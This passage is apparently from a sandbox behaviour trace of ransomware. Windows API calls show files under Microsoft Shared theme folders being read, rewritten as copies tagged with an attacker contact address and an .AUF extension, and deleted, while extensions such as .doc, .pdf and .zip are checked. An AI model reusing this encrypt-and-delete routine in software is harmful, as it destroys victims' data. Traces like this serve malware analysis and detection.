SetEndOfFile (hFile=0x1f8) returned 1 [0212.651] CloseHandle (hObject=0x1f8) returned 1 [0212.651] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.651] SetEndOfFile (hFile=0x168) returned 1 [0212.652] CloseHandle (hObject=0x168) returned 1 [0212.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.652] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 1 [0212.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0212.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0212.652] lstrlenW (lpString=".doc") returned 4 [0212.652] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.652] lstrlenW (lpString=".docx") returned 5 [0212.652] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.652] lstrlenW (lpString=".pdf") returned 4 [0212.652] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.652] lstrlenW (lpString=".xls") returned 4 [0212.652] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.652] lstrlenW (lpString=".xlsx") returned 5 [0212.652] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.652] lstrlenW (lpString=".ppt") returned 4 [0212.652] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0212.652] lstrlenW (lpString=".zip") returned 4 [0212.652] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.653] lstrlenW (lpString=".rar") returned 4 [0212.653] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.653] lstrlenW (lpString=".bz2") returned 4 [0212.653] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.653] lstrlenW (lpString=".7z") returned 3 [0212.653] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0212.653] lstrlenW (lpString=".dbf") returned 4 [0212.653] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0212.653] lstrlenW (lpString=".1cd") returned 4 [0212.653] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0212.653] lstrlenW (lpString=".jpg") returned 4 [0212.653] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0212.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0212.653] lstrlenW (lpString=".doc") returned 4 [0212.653] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.653] lstrlenW (lpString=".docx") returned 5 [0212.653] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.653] lstrlenW (lpString=".pdf") returned 4 [0212.653] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.653] lstrlenW (lpString=".xls") returned 4 [0212.653] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.653] lstrlenW (lpString=".xlsx") returned 5 [0212.653] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.653] lstrlenW (lpString=".ppt") returned 4 [0212.653] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0212.653] lstrlenW (lpString=".zip") returned 4 [0212.653] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.653] lstrlenW (lpString=".rar") returned 4 [0212.653] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.653] lstrlenW (lpString=".bz2") returned 4 [0212.653] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.653] lstrlenW (lpString=".7z") returned 3 [0212.653] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0212.653] lstrlenW (lpString=".dbf") returned 4 [0212.653] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0212.653] lstrlenW (lpString=".1cd") returned 4 [0212.653] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0212.654] lstrlenW (lpString=".jpg") returned 4 [0212.654] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.654] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0212.654] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0212.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0212.662] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=32403) returned 1 [0212.662] CloseHandle (hObject=0x168) returned 1 [0212.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 0x20 [0212.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0212.662] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.662] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0212.662] GetLastError () returned 0x0 [0212.662] ReadFile (in: hFile=0x168, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x7e93, lpOverlapped=0x0) returned 1 [0212.664] WriteFile (in: hFile=0x1f8, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x7ea0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x7ea0, lpOverlapped=0x0) returned 1 [0212.665] ReadFile (in: hFile=0x168, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0212.665] WriteFile (in: hFile=0x1f8, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0212.665] SetEndOfFile (hFile=0x1f8) returned 1 [0212.665] CloseHandle (hObject=0x1f8) returned 1 [0212.665] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.665] SetEndOfFile (hFile=0x168) returned 1 [0212.666] CloseHandle (hObject=0x168) returned 1 [0212.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.666] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 1 [0212.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0212.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0212.667] lstrlenW (lpString=".doc") returned 4 [0212.667] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.667] lstrlenW (lpString=".docx") returned 5 [0212.667] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.667] lstrlenW (lpString=".pdf") returned 4 [0212.667] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.667] lstrlenW (lpString=".xls") returned 4 [0212.667] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.667] lstrlenW (lpString=".xlsx") returned 5 [0212.667] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.667] lstrlenW (lpString=".ppt") returned 4 [0212.667] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0212.667] lstrlenW (lpString=".zip") returned 4 [0212.667] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.667] lstrlenW (lpString=".rar") returned 4 [0212.667] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.667] lstrlenW (lpString=".bz2") returned 4 [0212.667] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.667] lstrlenW (lpString=".7z") returned 3 [0212.667] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0212.667] lstrlenW (lpString=".dbf") returned 4 [0212.667] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0212.667] lstrlenW (lpString=".1cd") returned 4 [0212.667] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0212.667] lstrlenW (lpString=".jpg") returned 4 [0212.667] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0212.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0212.667] lstrlenW (lpString=".doc") returned 4 [0212.667] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.667] lstrlenW (lpString=".docx") returned 5 [0212.668] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.668] lstrlenW (lpString=".pdf") returned 4 [0212.668] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.668] lstrlenW (lpString=".xls") returned 4 [0212.668] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.668] lstrlenW (lpString=".xlsx") returned 5 [0212.668] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.668] lstrlenW (lpString=".ppt") returned 4 [0212.668] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0212.668] lstrlenW (lpString=".zip") returned 4 [0212.668] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.668] lstrlenW (lpString=".rar") returned 4 [0212.668] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.668] lstrlenW (lpString=".bz2") returned 4 [0212.668] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.668] lstrlenW (lpString=".7z") returned 3 [0212.668] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0212.668] lstrlenW (lpString=".dbf") returned 4 [0212.668] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0212.668] lstrlenW (lpString=".1cd") returned 4 [0212.668] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0212.668] lstrlenW (lpString=".jpg") returned 4 [0212.668] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.668] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0212.668] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0212.668] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0212.669] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=1347) returned 1 [0212.669] CloseHandle (hObject=0x168) returned 1 [0212.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 0x20 [0212.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.669] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0212.669] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.669] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.669] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0212.670] GetLastError () returned 0x0 [0212.671] ReadFile (in: hFile=0x168, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x543, lpOverlapped=0x0) returned 1 [0212.711] WriteFile (in: hFile=0x208, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x550, lpOverlapped=0x0) returned 1 [0212.711] ReadFile (in: hFile=0x168, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0212.711] WriteFile (in: hFile=0x208, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0212.711] SetEndOfFile (hFile=0x208) returned 1 [0212.712] CloseHandle (hObject=0x208) returned 1 [0212.712] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.712] SetEndOfFile (hFile=0x168) returned 1 [0212.712] CloseHandle (hObject=0x168) returned 1 [0212.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.713] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 1 [0212.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0212.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0212.713] lstrlenW (lpString=".doc") returned 4 [0212.713] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.713] lstrlenW (lpString=".docx") returned 5 [0212.713] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.713] lstrlenW (lpString=".pdf") returned 4 [0212.713] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.713] lstrlenW (lpString=".xls") returned 4 [0212.713] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.713] lstrlenW (lpString=".xlsx") returned 5 [0212.713] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.713] lstrlenW (lpString=".ppt") returned 4 [0212.713] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0212.713] lstrlenW (lpString=".zip") returned 4 [0212.713] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.713] lstrlenW (lpString=".rar") returned 4 [0212.713] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.713] lstrlenW (lpString=".bz2") returned 4 [0212.713] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.713] lstrlenW (lpString=".7z") returned 3 [0212.713] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0212.713] lstrlenW (lpString=".dbf") returned 4 [0212.713] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0212.713] lstrlenW (lpString=".1cd") returned 4 [0212.713] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0212.713] lstrlenW (lpString=".jpg") returned 4 [0212.713] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0212.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0212.714] lstrlenW (lpString=".doc") returned 4 [0212.714] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.714] lstrlenW (lpString=".docx") returned 5 [0212.714] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.714] lstrlenW (lpString=".pdf") returned 4 [0212.714] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.714] lstrlenW (lpString=".xls") returned 4 [0212.714] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.714] lstrlenW (lpString=".xlsx") returned 5 [0212.714] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.714] lstrlenW (lpString=".ppt") returned 4 [0212.714] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0212.714] lstrlenW (lpString=".zip") returned 4 [0212.714] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.714] lstrlenW (lpString=".rar") returned 4 [0212.714] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.714] lstrlenW (lpString=".bz2") returned 4 [0212.714] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.714] lstrlenW (lpString=".7z") returned 3 [0212.714] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0212.714] lstrlenW (lpString=".dbf") returned 4 [0212.714] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0212.714] lstrlenW (lpString=".1cd") returned 4 [0212.714] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0212.714] lstrlenW (lpString=".jpg") returned 4 [0212.714] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.714] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0212.714] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0212.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0212.714] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=26402) returned 1 [0212.715] CloseHandle (hObject=0x168) returned 1 [0212.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 0x20 [0212.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0212.715] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.715] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0212.715] GetLastError () returned 0x0 [0212.715] ReadFile (in: hFile=0x168, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x6722, lpOverlapped=0x0) returned 1 [0212.729] WriteFile (in: hFile=0x208, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x6730, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x6730, lpOverlapped=0x0) returned 1 [0212.730] ReadFile (in: hFile=0x168, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0212.730] WriteFile (in: hFile=0x208, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, 